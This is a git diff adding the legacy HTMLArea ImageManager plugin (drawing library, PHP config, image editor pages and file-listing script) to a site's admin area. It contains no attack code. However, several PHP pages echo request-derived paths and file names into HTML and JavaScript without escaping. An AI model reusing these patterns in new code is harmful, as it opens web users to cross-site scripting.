+        _tt = (_bb>>1) - _aa*((_b<<1)-1),
+
+        pxl = new Array(),
+        pxt = new Array(),
+        _pxb = new Array();
+        pxl[0] = 0;
+        pxt[0] = b;
+        _pxb[0] = _b-1;
+        while (y > 0)
+        {
+            if (st < 0)
+            {
+                st += bb*((x<<1)+0x3);
+                tt += (bb<<1)*(++x);
+                pxl[pxl.length] = x;
+                pxt[pxt.length] = y;
+            }
+            else if (tt < 0)
+            {
+                st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+                tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+                pxl[pxl.length] = x;
+                pxt[pxt.length] = y;
+            }
+            else
+            {
+                tt -= aa*((y<<1)-0x3);
+                st -= (aa<<1)*(--y);
+            }
+
+            if (_y > 0)
+            {
+                if (_st < 0)
+                {
+                    _st += _bb*((_x<<1)+0x3);
+                    _tt += (_bb<<1)*(++_x);
+                    _pxb[_pxb.length] = _y-1;
+                }
+                else if (_tt < 0)
+                {
+                    _st += _bb*((_x<<1)+0x3) - (_aa<<1)*(_y-1);
+                    _tt += (_bb<<1)*(++_x) - _aa*(((_y--)<<1)-0x3);
+                    _pxb[_pxb.length] = _y-1;
+                }
+                else
+                {
+                    _tt -= _aa*((_y<<1)-0x3);
+                    _st -= (_aa<<1)*(--_y);
+                    _pxb[_pxb.length-1]--;
+                }
+            }
+        }
+
+        var ox = 0, oy = b,
+        _oy = _pxb[0],
+        l = pxl.length,
+        w, h;
+        for (var i = 0; i < l; i++)
+        {
+            if (typeof _pxb[i] != "undefined")
+            {
+                if (_pxb[i] < _oy || pxt[i] < oy)
+                {
+                    x = pxl[i];
+                    this.mkOvQds(cx, cy, -x+1, ox+wod, -oy, _oy+hod, x-ox, oy-_oy);
+                    ox = x;
+                    oy = pxt[i];
+                    _oy = _pxb[i];
+                }
+            }
+            else
+            {
+                x = pxl[i];
+                this.mkDiv(cx-x+1, cy-oy, 1, (oy<<1)+hod);
+                this.mkDiv(cx+ox+wod, cy-oy, 1, (oy<<1)+hod);
+                ox = x;
+                oy = pxt[i];
+            }
+        }
+        this.mkDiv(cx-a, cy-oy, 1, (oy<<1)+hod);
+        this.mkDiv(cx+ox+wod, cy-oy, 1, (oy<<1)+hod);
+    }
+}
+
+
+
+
+
+function mkOvDott(left, top, width, height)
+{
+    var a = width>>1, b = height>>1,
+    wod = width&1, hod = height&1,
+    cx = left+a, cy = top+b,
+    x = 0, y = b,
+    aa2 = (a*a)<<1, aa4 = aa2<<1, bb = (b*b)<<1,
+    st = (aa2>>1)*(1-(b<<1)) + bb,
+    tt = (bb>>1) - aa2*((b<<1)-1),
+    drw = true;
+    while (y > 0)
+    {
+        if (st < 0)
+        {
+            st += bb*((x<<1)+0x3);
+            tt += (bb<<1)*(++x);
+        }
+        else if (tt < 0)
+        {
+            st += bb*((x<<1)+0x3) - aa4*(y-1);
+            tt += (bb<<1)*(++x) - aa2*(((y--)<<1)-0x3);
+        }
+        else
+        {
+            tt -= aa2*((y<<1)-0x3);
+            st -= aa4*(--y);
+        }
+        if (drw) this.mkOvQds(cx, cy, -x, x+wod, -y, y+hod, 1, 1);
+        drw = !drw;
+    }
+}
+
+
+
+
+
+function mkRect(x, y, w, h)
+{
+    var s = this.stroke;
+    this.mkDiv(x, y, w, s);
+    this.mkDiv(x+w, y, s, h);
+    this.mkDiv(x, y+h, w+s, s);
+    this.mkDiv(x, y+s, s, h-s);
+}
+
+
+
+
+
+function mkRectDott(x, y, w, h)
+{
+    this.drawLine(x, y, x+w, y);
+    this.drawLine(x+w, y, x+w, y+h);
+    this.drawLine(x, y+h, x+w, y+h);
+    this.drawLine(x, y, x, y+h);
+}
+
+
+
+
+
+function jsgFont()
+{
+    this.PLAIN = 'font-weight:normal;';
+    this.BOLD = 'font-weight:bold;';
+    this.ITALIC = 'font-style:italic;';
+    this.ITALIC_BOLD = this.ITALIC + this.BOLD;
+    this.BOLD_ITALIC = this.ITALIC_BOLD;
+}
+var Font = new jsgFont();
+
+
+
+
+
+function jsgStroke()
+{
+    this.DOTTED = -1;
+}
+var Stroke = new jsgStroke();
+
+
+
+
+
+function jsGraphics(id, wnd)
+{
+    this.setColor = new Function('arg', 'this.color = arg;');
+
+
+    this.getColor = new Function('return this.color');
+
+    this.setStroke = function(x)
+    {
+        this.stroke = x;
+        if (!(x+1))
+        {
+            this.drawLine = mkLinDott;
+            this.mkOv = mkOvDott;
+            this.drawRect = mkRectDott;
+        }
+        else if (x-1 > 0)
+        {
+            this.drawLine = mkLin2D;
+            this.mkOv = mkOv2D;
+            this.drawRect = mkRect;
+        }
+        else
+        {
+            this.drawLine = mkLin;
+            this.mkOv = mkOv;
+            this.drawRect = mkRect;
+        }
+    };
+
+
+
+    this.setPrintable = function(arg)
+    {
+        this.printable = arg;
+        this.mkDiv = jg_n4? mkLyr : arg? mkDivPrint : mkDiv;
+    };
+
+
+
+    this.setFont = function(fam, sz, sty)
+    {
+        this.ftFam = fam;
+        this.ftSz = sz;
+        this.ftSty = sty || Font.PLAIN;
+    };
+
+
+
+    this.drawPolyline = this.drawPolyLine = function(x, y, s)
+    {
+        var i = x.length-1; while (i >= 0)
+            this.drawLine(x[i], y[i], x[--i], y[i]);
+    };
+
+
+
+    this.fillRect = function(x, y, w, h)
+    {
+        this.mkDiv(x, y, w, h);
+    };
+
+
+    this.fillRectPattern = function(x, y, w, h, url)
+    {
+        this.htm += '<div style="position:absolute;'+
+            'left:' + x + 'px;'+
+            'top:' + y + 'px;'+
+            'width:' + w + 'px;'+
+            'height:' + h + 'px;'+
+            'clip:rect(0,'+w+'px,'+h+'px,0);'+
+            'overflow:hidden;'+
+            //'background-color:' + this.color + ';'+
+            "background-image: url('" + url + "');"+
+            "layer-background-image: url('" + url + "');"+
+            'z-index:100;"><\/div>';
+        //alert(this.htm);
+    }
+
+    this.drawHandle = function(x, y, w, h, cursor)
+    {
+        
+        this.htm += '<div style="position:absolute;'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'width:' + w + 'px;'+
+        'height:' + h + 'px;'+
+        'clip:rect(0,'+w+'px,'+h+'px,0);'+
+        'padding: 2px;overflow:hidden;'+
+        "cursor: '" + cursor + "';"+
+        '" class="handleBox" id="' + cursor + '" ><\/div>';
+    }
+
+    this.drawHandleBox = function(x, y, w, h, cursor)
+    {
+        
+        this.htm += '<div style="position:absolute;'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'width:' + w + 'px;'+
+        'height:' + h + 'px;'+
+        'clip:rect(0,'+(w+2)+'px,'+(h+2)+'px,0);'+
+        'overflow:hidden; border: solid 1px '+ this.color+';'+
+        "cursor: '" + cursor + "';"+
+        '" class="handleBox" id="' + cursor + '" ><\/div>';
+
+        
+    }
+
+    this.drawPolygon = function(x, y)
+    {
+        this.drawPolyline(x, y);
+        this.drawLine(x[x.length-1], y[x.length-1], x[0], y[0]);
+    };
+
+
+
+    this.drawEllipse = this.drawOval = function(x, y, w, h)
+    {
+        this.mkOv(x, y, w, h);
+    };
+
+
+
+    this.fillEllipse = this.fillOval = function(left, top, w, h)
+    {
+        var a = (w -= 1)>>1, b = (h -= 1)>>1,
+        wod = (w&1)+1, hod = (h&1)+1,
+        cx = left+a, cy = top+b,
+        x = 0, y = b,
+        ox = 0, oy = b,
+        aa2 = (a*a)<<1, aa4 = aa2<<1, bb = (b*b)<<1,
+        st = (aa2>>1)*(1-(b<<1)) + bb,
+        tt = (bb>>1) - aa2*((b<<1)-1),
+        pxl, dw, dh;
+        if (w+1) while (y > 0)
+        {
+            if (st < 0)
+            {
+                st += bb*((x<<1)+0x3);
+                tt += (bb<<1)*(++x);
+            }
+            else if (tt < 0)
+            {
+                st += bb*((x<<1)+0x3) - aa4*(y-1);
+                pxl = cx-x;
+                dw = (x<<1)+wod;
+                tt += (bb<<1)*(++x) - aa2*(((y--)<<1)-0x3);
+                dh = oy-y;
+                this.mkDiv(pxl, cy-oy, dw, dh);
+                this.mkDiv(pxl, cy+oy-dh+hod, dw, dh);
+                ox = x;
+                oy = y;
+            }
+            else
+            {
+                tt -= aa2*((y<<1)-0x3);
+                st -= aa4*(--y);
+            }
+        }
+        this.mkDiv(cx-a, cy-oy, w+1, (oy<<1)+hod);
+    };
+
+
+
+    this.drawString = mkLbl;
+
+
+
+    this.clear = function()
+    {
+        this.htm = "";
+        if (this.cnv) this.cnv.innerHTML = this.defhtm;
+        
+    };
+
+
+
+    this.mkOvQds = function(cx, cy, xl, xr, yt, yb, w, h)
+    {
+        this.mkDiv(xr+cx, yt+cy, w, h);
+        this.mkDiv(xr+cx, yb+cy, w, h);
+        this.mkDiv(xl+cx, yb+cy, w, h);
+        this.mkDiv(xl+cx, yt+cy, w, h);
+    };
+
+
+    this.setStroke(1);
+    this.setPrintable(false);
+    this.setFont('verdana,geneva,helvetica,sans-serif', String.fromCharCode(0x31, 0x32, 0x70, 0x78), Font.PLAIN);
+    this.color = '#000000';
+    this.htm = '';
+    this.wnd = wnd || window;
+
+
+    if (!(jg_ie || jg_dom || jg_ihtm)) chkDHTM();
+    if (typeof id != 'string' || !id) this.paint = pntDoc;
+    else
+    {
+        this.cnv = document.all? (this.wnd.document.all[id] || null)
+            : document.getElementById? (this.wnd.document.getElementById(id) || null)
+            : null;
+        this.defhtm = (this.cnv && this.cnv.innerHTML)? this.cnv.innerHTML : '';
+        this.paint = jg_dom? pntCnvDom : jg_ie? pntCnvIe : jg_ihtm? pntCnvIhtm : pntCnv;
+    }
+}
diff --git a/admin/htmlarea/plugins/ImageManager/config.inc.php b/admin/htmlarea/plugins/ImageManager/config.inc.php
new file mode 100755 (executable)
index 0000000..a1a7b60
--- /dev/null
@@ -0,0 +1,132 @@
+<?
+/**
+ * Image Manager configuration file.
+ * @author $Author: cscott $
+ * @version $Id: config.inc.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+
+/* 
+ File system path to the directory you want to manage the images
+ for multiple user systems, set it dynamically.
+
+ NOTE: This directory requires write access by PHP. That is, 
+       PHP must be able to create files in this directory.
+          Able to create directories is nice, but not necessary.
+*/
+$IMConfig['base_dir'] = '/home/httpd/www/www.dioceseofgaylord.org/images/ht_images';
+
+/*
+ The URL to the above path, the web browser needs to be able to see it.
+ It can be protected via .htaccess on apache or directory permissions on IIS,
+ check you web server documentation for futher information on directory protection
+ If this directory needs to be publicly accessiable, remove scripting capabilities
+ for this directory (i.e. disable PHP, Perl, CGI). We only want to store assets
+ in this directory and its subdirectories.
+*/
+$IMConfig['base_url'] = 'http://devsys.gaslightmedia.com/www.dioceseofgaylord.org/images/ht_images/';
+
+/*
+  Possible values: true, false
+
+  TRUE - If PHP on the web server is in safe mode, set this to true.
+         SAFE MODE restrictions: directory creation will not be possible,
+                only the GD library can be used, other libraries require
+                Safe Mode to be off.
+
+  FALSE - Set to false if PHP on the web server is not in safe mode.
+*/
+$IMConfig['safe_mode'] = false;
+
+/* 
+ Possible values: 'GD', 'IM', or 'NetPBM'
+
+ The image manipulation library to use, either GD or ImageMagick or NetPBM.
+ If you have safe mode ON, or don't have the binaries to other packages, 
+ your choice is 'GD' only. Other packages require Safe Mode to be off.
+*/
+define('IMAGE_CLASS', 'IM');
+
+
+/*
+ After defining which library to use, if it is NetPBM or IM, you need to
+ specify where the binary for the selected library are. And of course
+ your server and PHP must be able to execute them (i.e. safe mode is OFF).
+ GD does not require the following definition.
+*/
+define('IMAGE_TRANSFORM_LIB_PATH', '/usr/bin/');
+
+
+/* ==============  OPTIONAL SETTINGS ============== */
+
+
+/*
+  The prefix for thumbnail files, something like .thumb will do. The
+  thumbnails files will be named as "prefix_imagefile.ext", that is,
+  prefix + orginal filename.
+*/
+$IMConfig['thumbnail_prefix'] = '.thumbs';
+
+/*
+  Thumbnail can also be stored in a directory, this directory
+  will be created by PHP. If PHP is in safe mode, this parameter
+  is ignored, you can not create directories. 
+
+  If you do not want to store thumbnails in a directory, set this
+  to false or empty string '';
+*/
+$IMConfig['thumbnail_dir'] = '.thumbs';
+
+/*
+  Possible values: true, false
+
+ TRUE -  Allow the user to create new sub-directories in the
+         $IMConfig['base_dir'].
+
+ FALSE - No directory creation.
+
+ NOTE: If $IMConfig['safe_mode'] = true, this parameter
+       is ignored, you can not create directories
+*/
+$IMConfig['allow_new_dir'] = true;
+
+/*
+  Possible values: true, false
+
+  TRUE - Allow the user to upload files.
+
+  FALSE - No uploading allowed.
+*/
+$IMConfig['allow_upload'] = true;
+
+/*
+ Possible values: true, false
+
+ TRUE - If set to true, uploaded files will be validated based on the 
+        function getImageSize, if we can get the image dimensions then 
+        I guess this should be a valid image. Otherwise the file will be rejected.
+
+ FALSE - All uploaded files will be processed.
+
+ NOTE: If uploading is not allowed, this parameter is ignored.
+*/
+$IMConfig['validate_images'] = true;
+
+/*
+ The default thumbnail if the thumbnails can not be created, either
+ due to error or bad image file.
+*/
+$IMConfig['default_thumbnail'] = 'img/default.gif';
+
+/*
+  Thumbnail dimensions.
+*/
+$IMConfig['thumbnail_width'] = 96;
+$IMConfig['thumbnail_height'] = 96;
+
+/*
+  Image Editor temporary filename prefix.
+*/
+$IMConfig['tmp_prefix'] = '.editor_';
+?>
diff --git a/admin/htmlarea/plugins/ImageManager/editor.php b/admin/htmlarea/plugins/ImageManager/editor.php
new file mode 100755 (executable)
index 0000000..8dd99f9
--- /dev/null
@@ -0,0 +1,144 @@
+<?
+/**
+ * The PHP Image Editor user interface.
+ * @author $Author: cscott $
+ * @version $Id: editor.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+require_once('Classes/ImageEditor.php');
+
+$manager = new ImageManager($IMConfig);
+$editor = new ImageEditor($manager);
+
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html>
+<head>
+       <title></title>
+       <link href="assets/editor.css" rel="stylesheet" type="text/css" />      
+<script type="text/javascript" src="assets/slider.js"></script>
+<script type="text/javascript" src="assets/popup.js"></script>
+<script type="text/javascript">
+/*<![CDATA[*/
+       window.resizeTo(673, 531);
+       if(window.opener)
+               I18N = window.opener.I18N;
+/*]]>*/
+</script>
+<script type="text/javascript" src="assets/editor.js"></script>
+</head>
+
+<body>
+<div id="indicator">
+<img src="img/spacer.gif" id="indicator_image" height="20" width="20" alt="" />
+</div>
+<div id="tools">
+       <div id="tools_crop" style="display:none;">
+               <div id="tool_inputs">
+                       <label for="cx">Start X:</label><input type="text" id="cx"  class="textInput" onchange="updateMarker('crop')"/>
+                       <label for="cy">Start Y:</label><input type="text" id="cy" class="textInput" onchange="updateMarker('crop')"/>
+                       <label for="cw">Width:</label><input type="text" id="cw" class="textInput" onchange="updateMarker('crop')"/>
+                       <label for="ch">Height:</label><input type="text" id="ch" class="textInput" onchange="updateMarker('crop')"/>
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+               </div>  
+               <a href="javascript: editor.doSubmit('crop');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+               <a href="javascript: editor.reset();" class="buttons" title="Cancel"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>           
+       </div>  
+       <div id="tools_scale" style="display:none;">
+               <div id="tool_inputs">
+                       <label for="sw">Width:</label><input type="text" id="sw" class="textInput" onchange="checkConstrains('width')"/>
+                       <a href="javascript:toggleConstraints();" title="Lock"><img src="img/islocked2.gif" id="scaleConstImg" height="14" width="8" alt="Lock" class="div" /></a><label for="sh">Height:</label>
+                       <input type="text" id="sh" class="textInput" onchange="checkConstrains('height')"/>
+                       <input type="checkbox" id="constProp" value="1" checked="checked" onclick="toggleConstraints()"/>
+                       <label for="constProp">Constrain Proportions</label>
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+               </div>  
+               <a href="javascript: editor.doSubmit('scale');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+               <a href="javascript: editor.reset();" class="buttons" title="Cancle"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>           
+       </div>  
+       <div id="tools_rotate" style="display:none;">
+               <div id="tool_inputs">
+                       <select id="flip" name="flip" style="margin-left: 10px; vertical-align: middle;">
+              <option selected>Flip Image</option>
+              <option>-----------------</option>
+              <option value="hoz">Flip Horizontal</option>
+              <option value="ver">Flip Virtical</option>
+         </select>
+                       <select name="rotate" onchange="rotatePreset(this)" style="margin-left: 20px; vertical-align: middle;">
+              <option selected>Rotate Image</option>
+              <option>-----------------</option>
+
+              <option value="180">Rotate 180 &deg;</option>
+              <option value="90">Rotate 90 &deg; CW</option>
+              <option value="-90">Rotate 90 &deg; CCW</option>
+         </select>
+                       <label for="ra">Angle:</label><input type="text" id="ra" class="textInput" />
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+               </div>  
+               <a href="javascript: editor.doSubmit('rotate');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+               <a href="javascript: editor.reset();" class="buttons" title="Cancle"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>           
+       </div>          
+       <div id="tools_measure" style="display:none;">
+               <div id="tool_inputs">
+                       <label>X:</label><input type="text" class="measureStats" id="sx" />
+                       <label>Y:</label><input type="text" class="measureStats" id="sy" />
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+                       <label>W:</label><input type="text" class="measureStats" id="mw" />
+                       <label>H:</label><input type="text" class="measureStats" id="mh" />
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+                       <label>A:</label><input type="text" class="measureStats" id="ma" />             
+                       <label>D:</label><input type="text" class="measureStats" id="md" />             
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+                       <button type="button" onclick="editor.reset();" >Clear</button>
+               </div>  
+       </div>
+       <div id="tools_save" style="display:none;">
+               <div id="tool_inputs">
+                       <label for="save_filename">Filename:</label><input type="text" id="save_filename" value="<? echo $editor->getDefaultSaveFile();?>"/>
+                       <select name="format" id="save_format" style="margin-left: 10px; vertical-align: middle;" onchange="updateFormat(this)">
+            <option value="" selected>Image Format</option>
+            <option value="">---------------------</option>
+            <option value="jpeg,85">JPEG High</option>
+            <option value="jpeg,60">JPEG Medium</option>
+            <option value="jpeg,35">JPEG Low</option>
+            <option value="png">PNG</option>
+                       <? if($editor->isGDGIFAble() != -1) { ?>
+            <option value="gif">GIF</option>
+                       <? } ?>
+         </select>
+                       <label>Quality:</label>
+                       <table style="display: inline; vertical-align: middle;" cellpadding="0" cellspacing="0">
+                               <tr>
+                               <td>
+                                       <div id="slidercasing"> 
+                               <div id="slidertrack" style="width:100px"><img src="img/spacer.gif" width="1" height="1" border="0" alt="track"></div>
+            <div id="sliderbar" style="left:85px" onmousedown="captureStart();"><img src="img/spacer.gif" width="1" height="1" border="0" alt="track"></div>
+                       </div>  
+                               </td>
+                               </tr>
+                       </table>                                
+                       <input type="text" id="quality" onchange="updateSlider(this.value)" style="width: 2em;" value="85"/>
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+               </div>  
+               <a href="javascript: editor.doSubmit('save');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+               <a href="javascript: editor.reset();" class="buttons" title="Cancel"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>           
+       </div>  
+</div>
+<div id="toolbar">
+<a href="javascript:toggle('crop')" id="icon_crop" title="Crop"><img src="img/crop.gif" height="20" width="20" alt="Crop" /><span>Crop</span></a>
+<a href="javascript:toggle('scale')" id="icon_scale" title="Resize"><img src="img/scale.gif" height="20" width="20" alt="Resize" /><span>Resize</span></a>
+<a href="javascript:toggle('rotate')" id="icon_rotate" title="Rotate"><img src="img/rotate.gif" height="20" width="20" alt="Rotate" /><span>Rotate</span></a>
+<a href="javascript:toggle('measure')" id="icon_measure" title="Measure"><img src="img/measure.gif" height="20" width="20" alt="Measure" /><span>Measure</span></a>
+<a href="javascript: toggleMarker();" title="Marker"><img id="markerImg" src="img/t_black.gif" height="20" width="20" alt="Marker" /><span>Marker</span></a>
+<a href="javascript:toggle('save')" id="icon_save" title="Save"><img src="img/save.gif" height="20" width="20" alt="Save" /><span>Save</span></a>
+</div>
+<div id="contents">
+<iframe src="editorFrame.php?img=<? if(isset($_GET['img'])) echo rawurlencode($_GET['img']); ?>" name="editor" id="editor"  scrolling="auto" title="Image Editor" frameborder="0"></iframe>
+</div>
+<div id="bottom"></div>
+</body>
+</html>
diff --git a/admin/htmlarea/plugins/ImageManager/editorFrame.php b/admin/htmlarea/plugins/ImageManager/editorFrame.php
new file mode 100755 (executable)
index 0000000..8113564
--- /dev/null
@@ -0,0 +1,69 @@
+<?
+
+/**
+ * The frame that contains the image to be edited.
+ * @author $Author: cscott $
+ * @version $Id: editorFrame.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+require_once('Classes/ImageEditor.php');
+
+$manager = new ImageManager($IMConfig);
+$editor = new ImageEditor($manager);
+$imageInfo = $editor->processImage();
+
+?>
+
+<html>
+<head>
+       <title></title>
+<link href="assets/editorFrame.css" rel="stylesheet" type="text/css" />        
+<script type="text/javascript" src="assets/wz_jsgraphics.js"></script>
+<script type="text/javascript" src="assets/EditorContent.js"></script>
+<script type="text/javascript">
+if(window.top)
+       I18N = window.top.I18N;
+
+function i18n(str) {
+       if(I18N)
+               return (I18N[str] || str);
+       else
+               return str;
+};
+       
+       var mode = "<? echo $editor->getAction(); ?>" //crop, scale, measure
+
+var currentImageFile = "<? if(count($imageInfo)>0) echo rawurlencode($imageInfo['file']); ?>";
+
+<? if ($editor->isFileSaved() == 1) { ?>
+       alert(i18n('File saved.'));
+<? } else if ($editor->isFileSaved() == -1) { ?>
+       alert(i18n('File was not saved.'));
+<? } ?>
+
+</script>
+<script type="text/javascript" src="assets/editorFrame.js"></script>
+</head>
+
+<body>
+<div id="status"></div>
+<div id="ant" class="selection" style="visibility:hidden"><img src="img/spacer.gif" width="0" height="0" border="0" alt="" id="cropContent"></div>
+<? if ($editor->isGDEditable() == -1) { ?>
+       <div style="text-align:center; padding:10px;"><span class="error">GIF format is not supported, image editing not supported.</span></div>
+<? } ?>
+<table height="100%" width="100%">
+       <tr>
+               <td>
+<? if(count($imageInfo) > 0 && is_file($imageInfo['fullpath'])) { ?>
+       <span id="imgCanvas" class="crop"><img src="<? echo $imageInfo['src']; ?>" <? echo $imageInfo['dimensions']; ?> alt="" id="theImage" name="theImage"></span>
+<? } else { ?>
+       <span class="error">No Image Available</span>
+<? } ?>
+               </td>
+       </tr>
+</table>
+</body>
+</html>
diff --git a/admin/htmlarea/plugins/ImageManager/image-manager.js b/admin/htmlarea/plugins/ImageManager/image-manager.js
new file mode 100755 (executable)
index 0000000..38532dc
--- /dev/null
@@ -0,0 +1,100 @@
+/**
+ * The ImageManager plugin javascript.
+ * @author $Author: cscott $
+ * @version $Id: image-manager.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+/**
+ * To Enable the plug-in add the following line before HTMLArea is initialised.
+ *
+ * HTMLArea.loadPlugin("ImageManager");
+ *
+ * Then configure the config.inc.php file, that is all.
+ * For up-to-date documentation, please visit http://www.zhuo.org/htmlarea/
+ */
+
+/**
+ * It is pretty simple, this file over rides the HTMLArea.prototype._insertImage
+ * function with our own, only difference is the popupDialog url
+ * point that to the php script.
+ */
+function ImageManager(editor)
+{
+       var tt = ImageManager.I18N;     
+
+};
+
+ImageManager._pluginInfo = {
+       name          : "ImageManager",
+       version       : "1.0",
+       developer     : "Xiang Wei Zhuo",
+       developer_url : "http://www.zhuo.org/htmlarea/",
+       license       : "htmlArea"
+};
+
+
+// Over ride the _insertImage function in htmlarea.js.
+// Open up the ImageManger script instead.
+HTMLArea.prototype._insertImage = function(image) {
+
+       var editor = this;      // for nested functions
+       var outparam = null;
+       if (typeof image == "undefined") {
+               image = this.getParentElement();
+               if (image && !/^img$/i.test(image.tagName))
+                       image = null;
+       }
+       if (image) outparam = {
+               f_url    : HTMLArea.is_ie ? image.src : image.getAttribute("src"),
+               f_alt    : image.alt,
+               f_border : image.border,
+               f_align  : image.align,
+               f_vert   : image.vspace,
+               f_horiz  : image.hspace,
+               f_width  : image.width,
+               f_height  : image.height
+       };
+
+       var manager = _editor_url + 'plugins/ImageManager/manager.php';
+
+       Dialog(manager, function(param) {
+               if (!param) {   // user must have pressed Cancel
+                       return false;
+               }
+               var img = image;
+               if (!img) {
+                       var sel = editor._getSelection();
+                       var range = editor._createRange(sel);                   
+                       editor._doc.execCommand("insertimage", false, param.f_url);
+                       if (HTMLArea.is_ie) {
+                               img = range.parentElement();
+                               // wonder if this works...
+                               if (img.tagName.toLowerCase() != "img") {
+                                       img = img.previousSibling;
+                               }
+                       } else {
+                               img = range.startContainer.previousSibling;
+                       }
+               } else {                        
+                       img.src = param.f_url;
+               }
+               
+               for (field in param) {
+                       var value = param[field];
+                       switch (field) {
+                           case "f_alt"    : img.alt    = value; break;
+                           case "f_border" : img.border = parseInt(value || "0"); break;
+                           case "f_align"  : img.align  = value; break;
+                           case "f_vert"   : img.vspace = parseInt(value || "0"); break;
+                           case "f_horiz"  : img.hspace = parseInt(value || "0"); break;
+                               case "f_width"  : img.width = parseInt(value || "0"); break;
+                               case "f_height"  : img.height = parseInt(value || "0"); break;
+                       }
+               }
+               
+               
+       }, outparam);
+};
+
+
diff --git a/admin/htmlarea/plugins/ImageManager/images.php b/admin/htmlarea/plugins/ImageManager/images.php
new file mode 100755 (executable)
index 0000000..3ad48a3
--- /dev/null
@@ -0,0 +1,205 @@
+<?
+/**
+ * Show a list of images in a long horizontal table.
+ * @author $Author: cscott $
+ * @version $Id: images.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+
+//default path is /
+$relative = '/';
+$manager = new ImageManager($IMConfig);
+
+//process any file uploads
+$manager->processUploads();
+
+$manager->deleteFiles();
+
+$refreshDir = false;
+//process any directory functions
+if($manager->deleteDirs() || $manager->processNewDir())
+       $refreshDir = true;
+
+//check for any sub-directory request
+//check that the requested sub-directory exists
+//and valid
+if(isset($_REQUEST['dir']))
+{
+       $path = rawurldecode($_REQUEST['dir']);
+       if($manager->validRelativePath($path))
+               $relative = $path;
+}
+
+
+$manager = new ImageManager($IMConfig);
+
+
+//get the list of files and directories
+$list = $manager->getFiles($relative);
+
+
+/* ================= OUTPUT/DRAW FUNCTIONS ======================= */
+
+/**
+ * Draw the files in an table.
+ */
+function drawFiles($list, &$manager)
+{
+       global $relative;
+
+       foreach($list as $entry => $file) 
+       { ?>
+               <td><table width="100" cellpadding="0" cellspacing="0"><tr><td class="block">
+               <a href="javascript:;" onclick="selectImage('<? echo $file['relative'];?>', '<? echo $entry; ?>', <? echo $file['image'][0];?>, <? echo $file['image'][1]; ?>);"title="<? echo $entry; ?> - <? echo Files::formatSize($file['stat']['size']); ?>"><img src="<? echo $manager->getThumbnail($file['relative']); ?>" alt="<? echo $entry; ?> - <? echo Files::formatSize($file['stat']['size']); ?>"/></a>
+               </td></tr><tr><td class="edit">
+                       <a href="images.php?dir=<? echo $relative; ?>&amp;delf=<? echo rawurlencode($file['relative']);?>" title="Trash" onclick="return confirmDeleteFile('<? echo $entry; ?>');"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a><a href="javascript:;" title="Edit" onclick="editImage('<? echo rawurlencode($file['relative']);?>');"><img src="img/edit_pencil.gif" height="15" width="15" alt="Edit"/></a>
+               <? if($file['image']){ echo $file['image'][0].'x'.$file['image'][1]; } else echo $entry;?>
+               </td></tr></table></td> 
+         <? 
+       }//foreach
+}//function drawFiles
+
+
+/**
+ * Draw the directory.
+ */
+function drawDirs($list, &$manager) 
+{
+       global $relative;
+
+       foreach($list as $path => $dir) 
+       { ?>
+               <td><table width="100" cellpadding="0" cellspacing="0"><tr><td class="block">
+               <a href="images.php?dir=<? echo rawurlencode($path); ?>" onclick="updateDir('<? echo $path; ?>')" title="<? echo $dir['entry']; ?>"><img src="img/folder.gif" height="80" width="80" alt="<? echo $dir['entry']; ?>" /></a>
+               </td></tr><tr>
+               <td class="edit">
+                       <a href="images.php?dir=<? echo $relative; ?>&amp;deld=<? echo rawurlencode($path); ?>" title="Trash" onclick="return confirmDeleteDir('<? echo $dir['entry']; ?>', <? echo $dir['count']; ?>);"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a>
+                       <? echo $dir['entry']; ?>
+               </td>
+               </tr></table></td>
+         <? 
+       } //foreach
+}//function drawDirs
+
+
+/**
+ * No directories and no files.
+ */
+function drawNoResults() 
+{
+?>
+<table width="100%">
+  <tr>
+    <td class="noResult">No Images Found</td>
+  </tr>
+</table>
+<?     
+}
+
+/**
+ * No directories and no files.
+ */
+function drawErrorBase(&$manager) 
+{
+?>
+<table width="100%">
+  <tr>
+    <td class="error">Invalid base directory: <? echo $manager->config['base_dir']; ?></td>
+  </tr>
+</table>
+<?     
+}
+
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html>
+<head>
+       <title>Image List</title>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <link href="assets/imagelist.css" rel="stylesheet" type="text/css" />
